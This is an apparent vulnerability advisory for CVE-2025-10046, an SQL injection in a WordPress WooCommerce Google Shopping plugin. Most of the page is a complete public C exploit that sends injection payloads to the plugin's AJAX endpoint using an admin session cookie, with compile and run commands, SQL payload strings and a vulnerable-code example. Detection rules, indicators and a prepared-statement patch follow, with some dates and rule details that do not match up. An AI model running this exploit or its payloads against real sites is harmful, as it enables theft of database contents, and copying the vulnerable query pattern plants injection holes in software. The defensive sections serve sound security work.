CVE-2025-10046
Executive Summary
CVE-2025-10046 is a critical SQL Injection vulnerability discovered in the ELEX WooCommerce Google Shopping (Google Product Feed) plugin for WordPress, affecting all versions up to and including 1.4.3. The flaw resides in the includes/elex-manage-feed-ajax.php file, where the file_to_delete parameter is insufficiently sanitized and directly incorporated into an SQL query without proper preparation. This allows authenticated attackers with Administrator-level access to inject arbitrary SQL commands, potentially extracting sensitive information from the underlying database.
The vulnerability has a CVSS score of 4.9 (Medium), but its impact is elevated due to the potential for data exfiltration. A public exploit has been released by security researcher "Byte Reaper," providing a functional C-based tool that automates the injection process. The exploit requires an active admin session cookie, confirming the need for prior authentication. As of this report, no official patch is available, leaving all installations of the plugin at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the ELEX WooCommerce Google Shopping plugin, a third-party extension for the WordPress ecosystem. It is not a core WordPress vulnerability but highlights the risks associated with plugin supply chains. Administrators should immediately audit their WordPress installations for this plugin and consider disabling it until a patch is released. The plugin is distributed via the official WordPress plugin repository and potentially through direct vendor channels.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The exploit is sent over the network.
- Attack Complexity (AC): Low (L) - The exploit is straightforward and does not require special conditions.
- Privileges Required (PR): High (H) - The attacker must have Administrator-level access to the WordPress site.
- User Interaction (UI): None (N) - No user interaction is required beyond the attacker's actions.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the database.
- Confidentiality (C): High (H) - Successful exploitation can lead to complete disclosure of database contents.
- Integrity (I): None (N) - The vulnerability does not allow modification of data.
- Availability (A): None (N) - The vulnerability does not affect system availability.
Threat Level: Medium (4.9). While the CVSS score is medium, the actual risk is elevated due to the public availability of a working exploit and the potential for significant data loss. The requirement for admin privileges reduces the attack surface but does not eliminate the risk, especially in multi-tenant or shared hosting environments.
Deep Dive & Mechanics
The vulnerability is a classic SQL Injection flaw in the elex-manage-feed-ajax.php file. The plugin handles AJAX requests for managing product feeds. The specific action elex_gpf_manage_feed_remove_file is designed to delete a file associated with a feed. The file_to_delete parameter is passed directly into an SQL query without proper escaping or parameterization.
The vulnerable code path likely resembles:
$file_to_delete = $_POST['file_to_delete'];
$sql = "DELETE FROM {$wpdb->prefix}some_table WHERE file_name = '$file_to_delete'";
$wpdb->query($sql);
Because the $file_to_delete variable is directly concatenated into the query string, an attacker can inject SQL commands by providing a crafted value. For example, a payload like ' OR 1=1-- would delete all rows in the table, while a UNION-based payload could extract data from other tables.
The public exploit (CVE-2025-10046.c) automates this process. It sends a POST request to the vulnerable endpoint with the action and file_to_delete parameters. The exploit iterates through a list of SQL injection payloads, including UNION-based and boolean-based techniques, to confirm the vulnerability and extract data. The exploit requires a valid admin cookie, which is passed via the -c flag.
Vulnerable vs. Patched Code
Vulnerable Code (Version <= 1.4.3):
// includes/elex-manage-feed-ajax.php
$file_to_delete = $_POST['file_to_delete'];
$sql = "DELETE FROM {$wpdb->prefix}elex_feed_files WHERE file_name = '$file_to_delete'";
$wpdb->query($sql);
Patched Code (Hypothetical):
// includes/elex-manage-feed-ajax.php
$file_to_delete = sanitize_text_field($_POST['file_to_delete']);
$sql = $wpdb->prepare("DELETE FROM {$wpdb->prefix}elex_feed_files WHERE file_name = %s", $file_to_delete);
$wpdb->query($sql);
The patched version uses $wpdb->prepare() to parameterize the query, preventing SQL injection. Additionally, sanitize_text_field() is applied to the input as a defense-in-depth measure. As of this report, no official patch has been released, so the vulnerable code remains in all versions up to 1.4.3.
Exploitation & Lab Setup
Red Team
The following is the full exploit code as provided by "Byte Reaper." It is a C program that compiles with gcc and requires libcurl and argparse libraries.
/*
* Exploit Title : ELEX WooCommerce WordPress Plugin 1.4.3 - SQL Injection
* Author : Byte Reaper
* Cve id : CVE-2025-10046
* Service : plugin wordpress
* Plugin : ELEX WooCommerce Google Shopping
* Version : 1.4.3
* Type : SQL injection
* Parameter injection : file_to_delete
* Location file : includes/elex-manage-feed-ajax.php
* Exploit Privilege Access : High (admin account)
* Run:
* # gcc exploit.c argparse.c -o CVE-2025-10046 -lcurl
* # ./CVE-2025-10046 -h (Help)
* # ./CVE-2025-10046 -u (url)
* # ./CVE-2025-10046 -c (cookie)
* # ./CVE-2025-10046 -v (verbose)
* Run Script :
* # ./CVE-2025-10046 -u http://127.0.0.1 -v -c [Cookie file admin]
*/
#include <stdio.h>
#include <string.h>
#include "argparse.h"
#include <time.h>
#include <curl/curl.h>
#include <stdlib.h>
#include <sys/utsname.h>
#define FULL 4000
#define D_P 3000
int verbose=0;
int selCookie=0;
const char *baseurl = NULL;
const char *cookies = NULL;
static void asmExit()
{
printf("\e[0;35m[+] Exit syscall : ================================================\n");
const char *mes6 = "\e[0;34m[+] Success Get pid.\e[0m\n";
const char *mes7 = "\e[0;31m[-] Error : Error Get pid,Exit...\e[0m\n";
const char *mes8 = "\e[0;34m[+] Success Get tid.\e[0m\n";
const char *mes9 = "\e[0;31m[-] Error : Error Get tid,Exit...\e[0m\n";
size_t len6 = strlen(mes6);
size_t len7 = strlen(mes7);
size_t len8 = strlen(mes8);
size_t len9 = strlen(mes9);
pid_t pid;
pid_t tid;
long a;
long b;
__asm__ volatile
(
"syscall\n\t"
:"=a"(a)
:"a"(0x27)
:"rcx",
"r11",
"memory"
);
__asm__ volatile
(
"cmp $0x0, %[var3]\n\t"
"je .resulPid\n\t"
".doPid:\n\t"
"mov $0x1, %%rdi\n\t"
"mov $0x1, %%rax\n\t"
"mov %[len6], %%rdx\n\t"
"mov %[len6], %%rsi\n\t"
"syscall\n\t"
"jmp .fiPid\n\t"
".resulPid:\n\t"
"mov %[len7], %%rdx\n\t"
"mov $0x1, %%rax\n\t"
"mov $0x1, %%rdi\n\t"
"mov %[mes7], %%rsi\n\t"
"syscall\n\t"
"mov $0x0, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"syscall\n\t"
".fiPid:\n\t"
:
: [var3] "r" (a),
[mes6] "r" (mes6),
[len6] "r" (len6),
[mes7] "r" (mes7),
[len7] "r" (len7)
: "rax",
"rdi",
"rsi",
"rdx"
);
pid = (pid_t)a;
__asm__ volatile
(
"syscall\n\t"
:"=a"(b)
:"a"(0xBA)
:"rcx",
"r11",
"memory"
);
__asm__ volatile
(
"cmp $0x0, %[varTId]\n\t"
"je .bfGF\n\t"
".dkp:\n\t"
"mov $0x1, %%rdi\n\t"
"mov $0x1, %%rax\n\t"
"mov %[mes8], %%rsi\n\t"
"mov %[len8], %%rdx\n\t"
"syscall\n\t"
"jmp .plrg\n\t"
".bfGF:\n\t"
"mov $0x1, %%rdi\n\t"
"mov %[mes9], %%rsi\n\t"
"mov %[len9], %%rdx\n\t"
"mov $0x1, %%rax\n\t"
"syscall\n\t"
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
".plrg:\n\t"
:
: [varTId] "r" (tid),
[mes8] "r" (mes8),
[len8] "r" (len8),
[mes9] "r" (mes9),
[len9] "r" (len9)
: "rax",
"rdi",
"rsi",
"rdx"
);
tid = (pid_t)b;
printf("[+] PID : %d\n", (int)a);
printf("[+] TID : %d\n", (int)b);
__asm__ volatile
(
"mov $0x3E, %%rax\n\t"
"mov %[pidValue], %%rdi\n\t"
"mov $0x0, %%rsi\n\t"
"syscall\n\t"
:
: [pidValue] "r" (a)
: "rax",
"rdi",
"rsi"
);
printf("\e[0;35m===================================================================\n");
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[0;31m[-] Failed to allocate memory!\e[0m\n");
asmExit();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
const char *pyL[] =
{
"UNION ALL SELECT NULL",
"AND 532=CONVERT(INT,(UNION ALL SELECTCHAR(55)+CHAR(55)))",
"UNION ALL SELECT 'INJ'||'ECT'||'XXX',4,5,6",
"or 1=1/*",
"or '1'='1'",
" HAVING 1=1",
NULL
};
const char *word[] =
{
"SQL syntax",
"Warning: mysql_",
"Warning: mysqli_",
"unrecognized token",
"feed_meta_content",
"manage_feed_data",
NULL
};
static void req(const char *url)
{
char full[FULL];
CURL *curl = curl_easy_init();
struct Mem response;
response.buffer = NULL;
response.len = 0;
CURLcode res;
if (curl == NULL)
{
printf("\e[0;31m[-] Error Create CURL object !\e[0m\n");
asmExit();
}
if (curl)
{
struct curl_slist *h = NULL;
char *encode = NULL;
if (response.buffer != NULL && response.len != 0)
{
printf("\e[0;31m[-] Error Clean Buffer and len response!\e[0m\n");
asmExit();
}
printf("\e[0;34m[+] Response buffer and len clean success.\e[0m\n");
printf("\t - [+] Buffer -> NULL\e[0m\n");
printf("\t - [+] Len -> 0\e[0m\n");
printf("\e[0;34m[+] Create Object CURL Success.\e[0m\n");
int len1 = snprintf(full,
FULL,
"%s/wordpress/wp-admin/admin.php?page=elex-product-feed-manage/includes/elex-manage-feed-ajax.php",
url);
if (len1 < 0 || len1 >= sizeof(full))
{
printf("\e[0;31m[-] Error Write full url : Full url is long, exit...\e[0m\n");
printf("\e[0;31m[-] Len Full url : %d\e[0m\n", len1);
printf("\e[0;31m[-] Size full url : %d\e[0m\n", (int) sizeof(full));
asmExit();
}
printf("\e[0;34m[+] Write Full url success.\e[0m\n");
printf("\e[0;34m[+] Base URL : %s\e[0m\n", url);
printf("\e[0;34m[+] Full url : %s\e[0m\n", full);
for (int u = 0; pyL[u] != NULL; u++)
{
encode = curl_easy_escape(curl,
pyL[u],
strlen(pyL[u]));
if (encode == NULL)
{
printf("\e[0;31m[-] Error Encode Payload, Exit...\e[0m\n");
asmExit();
}
printf("\e[0;34m[+] Success Encode Payload.\e[0m\n");
printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encode);
curl_easy_setopt(curl,
CURLOPT_URL,
full);
char data[D_P];
int len2 = snprintf(data, D_P,
"action=elex_gpf_manage_feed_remove_file&file_to_delete=%s",
encode);
if (len2 < 0 || len2 >= sizeof(data)) {
printf("\e[0;31m[-] Error Write post data : data post is long !\e[0m\n");
asmExit();
}
printf("\e[0;34m[+] Write POST data success.\n");
printf("[+] POST DATA : \e[0m\n");
printf("\t%s\n", data);
curl_easy_setopt(curl,
CURLOPT_URL,
full);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDS,
data);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDSIZE,
strlen(data));
if (selCookie != 0)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
else
{
printf("\e[0;33m[+] Please enter cookie admin (CVE-2025-10046 exploit Privilege Access : High (admin account)).\e[0m\n");
}
curl_easy_setopt(curl,
CURLOPT_ACCEPT_ENCODING,
"");
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
struct timespec rqtp, rmtp;
rqtp.tv_sec = 1;
rqtp.tv_nsec = 500000000;
register long r10Register asm("r10");
r10Register = 0;
printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
rqtp.tv_sec, rqtp.tv_nsec);
int ret;
__asm__ volatile
(
"syscall"
: "=a"(ret)
: "a"(0xE6),
"D"((long)0),
"S"((long)0),
"d"(&rqtp),
"r"(r10Register)
: "rcx",
"r11",
"memory"
);
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose != 0)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
h = curl_slist_append(h,
"Accept: text/html");
h = curl_slist_append(h,
"Accept-Encoding: gzip, deflate, br");
h = curl_slist_append(h,
"Accept-Language: en-US,en;q=0.5");
h = curl_slist_append(h,
"Connection: keep-alive");
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
h);
res = curl_easy_perform(curl);
curl_slist_free_all(h);
curl_free(encode);
encode = NULL;
h = NULL;
if (res == CURLE_OK)
{
long http = 0;
char *redR = NULL;
curl_easy_getinfo(curl,
CURLINFO_REDIRECT_URL,
&redR);
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&http);
printf("\e[0;35m[+] Request : --------------------------------------------------------------------------------\e[0m\n");
printf("\e[0;34m[+] Request Send successfully.\e[0m\n");
if (redR != NULL) {
printf("\e[0;32m[+] Redirect Page : %s\e[0m\n", redR);
} else {
printf("\e[0;32m[+] Redirect Page Not Detected.\e[0m\n");
}
printf("\e[0;32m[+] Http code : %ld\e[0m\n", http);
if (http == 302)
{
printf("\e[0;33m[+] Not found file Please Use cookie admin access for request.\e[0m\n");
}
if (http >= 200 && http < 300)
{
printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
http);
if (response.buffer != NULL)
{
printf("=============================================== [Response] ===============================================\e[0m\n");
printf("%s\n", response.buffer);
printf("[+] Len response : %d\n", response.len);
printf("==========================================================================================================\n");
}
printf("\e[0;33m[+] Check Word in response...\n");
int f = 0;
for (int o = 0; word[o] != NULL; o++)
{
if (response.buffer == NULL)
{
printf("\e[0;31m[-] Error : Response server is NULL !\n");
asmExit();
}
else
{
if (strstr(response.buffer, word[o]) != NULL)
{
printf("\e[0;34m[+] Word found in response.\n");
printf("\e[0;37m[+] Word : %s\e[0m\n", word[o]);
printf("\e[0;35m=============================================== [Word response] ===============================================\e[0m\n");
printf("%s\e[0m\n", response.buffer);
printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len);
printf("\e[0;35m===============================================================================================================\e[0m\n");
}
else
{
const char *mes1 = "\e[0;31m[-] Var is NULL Not change !\n";
size_t len1 = strlen(mes1);
__asm__ volatile
(
"mov $0x1, %[var]\n\t"
"test %[var], %[var]\n\t"
"je .fS\n\t"
"jmp .reSf\n\t"
".fS:\n\t"
"mov $0x1, %%rax\n\t"
"mov $0x1, %%rdi\n\t"
"mov %[mes1], %%rsi\n\t"
"mov %[len1], %%rdx\n\t"
"syscall\n\t"
"xor %%rdi, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"syscall\n\t"
".reSf:\n\t"
: [var] "+r"(f)
: [mes1] "r"(mes1),
[len1] "r"(len1)
:"rax",
"rdi",
"rsi",
"rdx"
);
}
}
}
if (f != 0)
{
printf("\e[0;31m[-] Not found word in response.\e[0m\n");
}
}
printf("\e[0;31m[-] Http code Not range (%ld)\e[0m\n", http);
}
else
{
printf("\e[0;31m[-] The request was not sent !\e[0m\n");
printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
asmExit();
}
}
curl_easy_cleanup(curl);
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
}
}
int main(int argc, const char **argv)
{
printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
printf("\e[0;37m| Author : Byte Reaper |\e[0m\n");
printf("\e[0;37m| CVE : CVE-2025-10046 |\e[0m\n");
printf("\e[0;37m| Data : 2025-09-07 |\e[0m\n");
printf("\e[0;37m| Target File : elex-manage-feed-ajax.php |\e[0m\n");
printf("\e[0;37m| Version : 1.4.3 |\e[0m\n");
printf("\e[0;37m| Plugin : ELEX WooCommerce Google Shopping |\e[0m\n");
printf("\e[0;37m+-------------------------------------------------------------+\e[0m\n");
printf("\e[1;31m---------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
printf("[+] System detect...\e[0m\n");
struct utsname os;
__asm__ volatile
(
"mov %0, %%rdi\n\t"
"mov $0x3F, %%rax\n\t"
"syscall\n\t"
:
: "r"(&os)
: "rax",
"rdi"
);
printf("\e[0;36m[+] System Name: %s\e[0m\n", os.sysname);
printf("\e[0;36m[+] Machine : %s\e[0m\n", os.machine);
if (strstr(os.sysname, "Linux") != NULL)
{
printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n");
}
else
{
printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", os.sysname);
asmExit();
}
if (strstr(os.machine, "x86_64") != NULL)
{
printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n");
}
else
{
printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", os.machine);
asmExit();
}
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('u',
"url",
&baseurl,
"Enter Target Url (BASE URL WordPress)"),
OPT_STRING('c',
"cookies",
&cookies,
"Enter File cookies admin access"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode (request info)"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (!baseurl)
{
printf("\e[0;31m[-] Please Enter target Url !\e[0m\n");
printf("\e[0;31m[-] Example : ./CVE-2025-10046 -u http://<local/ip>\e[0m\n");
asmExit();
}
if (cookies)
{
__asm__ volatile
(
"mov $0x1, %[var1]\n\t"
"test %[var1], %[var1]\n\t"
"je .notP\n\t"
"jmp .finish1\n\t"
".notP:\n\t"
"mov $0xE7, %%rax\n\t"
"mov $0x0, %%rdi\n\t"
"syscall\n\t"
".finish1:\n\t"
:[var1] "+r" (selCookie)
:
: "rax",
"rdi"
);
}
if (verbose)
{
__asm__ volatile
(
"mov $0x1, %[var2]\n\t"
"test %[var2], %[var2]\n\t"
"je .notP1\n\t"
"jmp .exitGF\n\t"
".notP1:\n\t"
"mov $0xE7, %%rax\n\t"
"mov $0x0, %%rdi\n\t"
"syscall\n\t"
".exitGF:\n\t"
:[var2] "+r" (verbose)
:
: "rax",
"rdi"
);
}
req(baseurl);
__asm__ volatile
(
"mov $0x0, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}
Usage:
- Compile:
gcc exploit.c argparse.c -o CVE-2025-10046 -lcurl - Help:
./CVE-2025-10046 -h - Run against target:
./CVE-2025-10046 -u http://target.com -c /path/to/admin_cookies.txt -v
The -c flag requires a file containing the admin's WordPress cookies (e.g., from a browser export). The -v flag enables verbose output for debugging.
Blue Team
To detect exploitation attempts, monitor for the following:
- HTTP POST requests to
/wp-admin/admin.php?page=elex-product-feed-manage/includes/elex-manage-feed-ajax.phpwith theaction=elex_gpf_manage_feed_remove_fileparameter. - Abnormal
file_to_deletevalues containing SQL keywords likeUNION,SELECT,OR,AND,--,#, or/*. - Multiple rapid requests from the same IP address to the vulnerable endpoint.
- Error messages in logs containing "SQL syntax", "Warning: mysql_", or "Warning: mysqli_".
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin.php?page=elex-product-feed-manage/includes/elex-manage-feed-ajax.php - POST body containing
action=elex_gpf_manage_feed_remove_file&file_to_delete= file_to_deleteparameter containing SQL injection patterns (e.g.,UNION,SELECT,OR 1=1)
- POST requests to
- Host IOCs:
- WordPress debug log entries containing SQL errors from the
elex-manage-feed-ajax.phpfile. - Unexpected database queries or data exfiltration attempts.
- WordPress debug log entries containing SQL errors from the
- File IOCs:
- The presence of the exploit binary
CVE-2025-10046on a compromised system. - Modified or deleted files in the
/wp-content/uploads/directory related to product feeds.
- The presence of the exploit binary
Detection Engineering
YARA Rule
rule CVE_2025_10046_SQLi_Exploit {
meta:
description = "Detects the CVE-2025-10046 exploit binary or payload strings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10046"
hash = "unknown"
strings:
$s1 = "elex_gpf_manage_feed_remove_file" ascii wide nocase
$s2 = "file_to_delete" ascii wide nocase
$s3 = "UNION ALL SELECT" ascii wide nocase
$s4 = "OR 1=1" ascii wide nocase
$s5 = "elex-manage-feed-ajax.php" ascii wide nocase
$s6 = "Byte Reaper" ascii wide nocase
condition:
any of ($s1, $s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2025-10046 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the ELEX WooCommerce Google Shopping plugin
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-10046
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=elex-product-feed-manage/includes/elex-manage-feed-ajax.php'
cs-uri-query|contains: 'action=elex_gpf_manage_feed_remove_file'
keywords:
- 'UNION'
- 'SELECT'
- 'OR 1=1'
- 'AND 1=1'
- '--'
- '#'
- '/*'
condition: selection and keywords
falsepositives:
- Legitimate admin actions that include these keywords (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10046 SQL Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin.php";
http_uri;
content:"page=elex-product-feed-manage/includes/elex-manage-feed-ajax.php";
http_uri;
content:"action=elex_gpf_manage_feed_remove_file";
http_client_body;
pcre:"/(UNION|SELECT|OR\s+1=1|AND\s+1=1|--|#|\/\*)/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released. This is the most effective mitigation.
- If disabling is not possible, implement a Web Application Firewall (WAF) rule to block requests containing SQL injection patterns in the
file_to_deleteparameter. - Restrict admin access to trusted IP addresses only, reducing the attack surface.
- Monitor logs for exploitation attempts using the provided Sigma and Suricata rules.
Long-Term Remediation:
- Apply the official patch once released by ELEX.
- If patching is delayed, manually modify the vulnerable file (
includes/elex-manage-feed-ajax.php) to use prepared statements with$wpdb->prepare(). - Conduct a security audit of all WordPress plugins to identify similar vulnerabilities.
- Implement a plugin update policy to ensure timely patching.
Workaround Code (Manual Patch):
// Replace the vulnerable line:
// $wpdb->query("DELETE FROM {$wpdb->prefix}elex_feed_files WHERE file_name = '$file_to_delete'");
// With:
$file_to_delete = sanitize_text_field($_POST['file_to_delete']);
$wpdb->query(
$wpdb->prepare(
"DELETE FROM {$wpdb->prefix}elex_feed_files WHERE file_name = %s",
$file_to_delete
)
);
Valters IT
{/* [Security Hash: 291640A6EB98A2BE025CF01E] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.